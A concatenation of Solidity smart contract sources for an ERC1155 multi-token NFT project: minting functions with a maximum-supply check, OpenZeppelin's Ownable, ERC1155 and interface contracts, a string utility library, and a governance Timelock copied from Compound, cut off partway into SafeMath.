) external onlyAdminOrOwner {
require(_maxs.length == _initials.length, 'ERC1155Tradable: maxs and initials length mismatch');
uint256[] memory ids = new uint256[](_maxs.length);
uint256[] memory quantities = new uint256[](_maxs.length);
for (uint256 i = 0; i < _maxs.length; i++) {
uint256 max = _maxs[i];
uint256 initial = _initials[i];
//TODO Need to test lte condition
require(initial <= max, 'ERC1155Tradable: Initial supply cannot be more than max supply');
uint256 tokenId = _getNextTokenID();
_incrementTokenTypeId();
creators[tokenId] = _msgSender();
tokenSupply[tokenId] = initial;
tokenMaxSupply[tokenId] = max;
ids[i] = tokenId;
quantities[i] = initial;
}
_mintBatch(_msgSender(), ids, quantities, _data);
}
/**
* @dev Mints some amount of tokens to an address
* @param _to Address of the future owner of the token
* @param _id Token ID to mint
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes memory _data
) public onlyMinter {
//TODO Need to test lte condition
require(tokenSupply[_id].add(_quantity) <= tokenMaxSupply[_id], 'ERC1155Tradable: Max supply reached');
tokenSupply[_id] = tokenSupply[_id].add(_quantity);
_mint(_to, _id, _quantity, _data);
}
/**
* @dev Mint tokens for each id in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _quantities Array of amounts of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _quantities,
bytes memory _data
) public onlyMinter {
require(_to != address(0), 'ERC1155Tradable: mint to the zero address');
require(_ids.length == _quantities.length, 'ERC1155Tradable: ids and amounts length mismatch');
for (uint256 i = 0; i < _ids.length; i++) {
uint256 id = _ids[i];
uint256 quantity = _quantities[i];
//TODO Need to test lte condition
require(tokenSupply[id].add(quantity) <= tokenMaxSupply[id], 'ERC1155Tradable: Max supply reached');
tokenSupply[id] = tokenSupply[id].add(quantity);
}
_mintBatch(_to, _ids, _quantities, _data);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
* @dev Returns whether the specified token exists by checking to see if it has a creator
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
return creators[_id] != address(0);
}
/**
* @dev calculates the next token ID based on value of _currentTokenID
* @return uint256 for the next token ID
*/
function _getNextTokenID() private view returns (uint256) {
return _currentTokenID.add(1);
}
/**
* @dev increments the value of _currentTokenID
*/
function _incrementTokenTypeId() private {
_currentTokenID++;
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
baseMetadataURI = _newBaseMetadataURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';
import '@openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol';
import '@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol';
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/introspection/ERC165.sol';
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/utils/Address.sol';
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/*
* bytes4(keccak256('uri(uint256)')) == 0x0e89341c
*/
bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri) public {
_setURI(uri);
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
// register the supported interfaces to conform to ERC1155MetadataURI via ERC165
_registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view override returns (uint256) {
require(account != address(0), 'ERC1155: balance query for the zero address');
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, 'ERC1155: accounts and ids length mismatch');
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
require(accounts[i] != address(0), 'ERC1155: batch balance query for the zero address');
batchBalances[i] = _balances[ids[i]][accounts[i]];
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, 'ERC1155: setting approval status for self');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(to != address(0), 'ERC1155: transfer to the zero address');
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
'ERC1155: caller is not owner nor approved'
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][from] = _balances[id][from].sub(amount, 'ERC1155: insufficient balance for transfer');
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(ids.length == amounts.length, 'ERC1155: ids and amounts length mismatch');
require(to != address(0), 'ERC1155: transfer to the zero address');
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
'ERC1155: transfer caller is not owner nor approved'
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(amount, 'ERC1155: insufficient balance for transfer');
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), 'ERC1155: mint to the zero address');
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), 'ERC1155: mint to the zero address');
require(ids.length == amounts.length, 'ERC1155: ids and amounts length mismatch');
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), 'ERC1155: burn from the zero address');
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), '');
_balances[id][account] = _balances[id][account].sub(amount, 'ERC1155: burn amount exceeds balance');
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), 'ERC1155: burn from the zero address');
require(ids.length == amounts.length, 'ERC1155: ids and amounts length mismatch');
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, '');
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][account] = _balances[ids[i]][account].sub(
amounts[i],
'ERC1155: burn amount exceeds balance'
);
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert('ERC1155: ERC1155Receiver rejected tokens');
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert('ERC1155: transfer to non ERC1155Receiver implementer');
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert('ERC1155: ERC1155Receiver rejected tokens');
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert('ERC1155: transfer to non ERC1155Receiver implementer');
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d,
string memory _e
) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(
_ba.length + _bb.length + _bc.length + _bd.length + _be.length
);
bytes memory babcde = bytes(abcde);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint256 i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint256 i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint256 i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(
string memory _a,
string memory _b,
string memory _c
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b)
internal
pure
returns (string memory)
{
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
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|
// SPDX-License-Identifier: MIT
// COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Ctrl+f for XXX to see all the modifications.
// XXX: pragma solidity ^0.5.16;
pragma solidity 0.6.12;
// XXX: import "./SafeMath.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
bool public admin_initialized;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
admin_initialized = false;
}
// XXX: function() external payable { }
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin.");
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
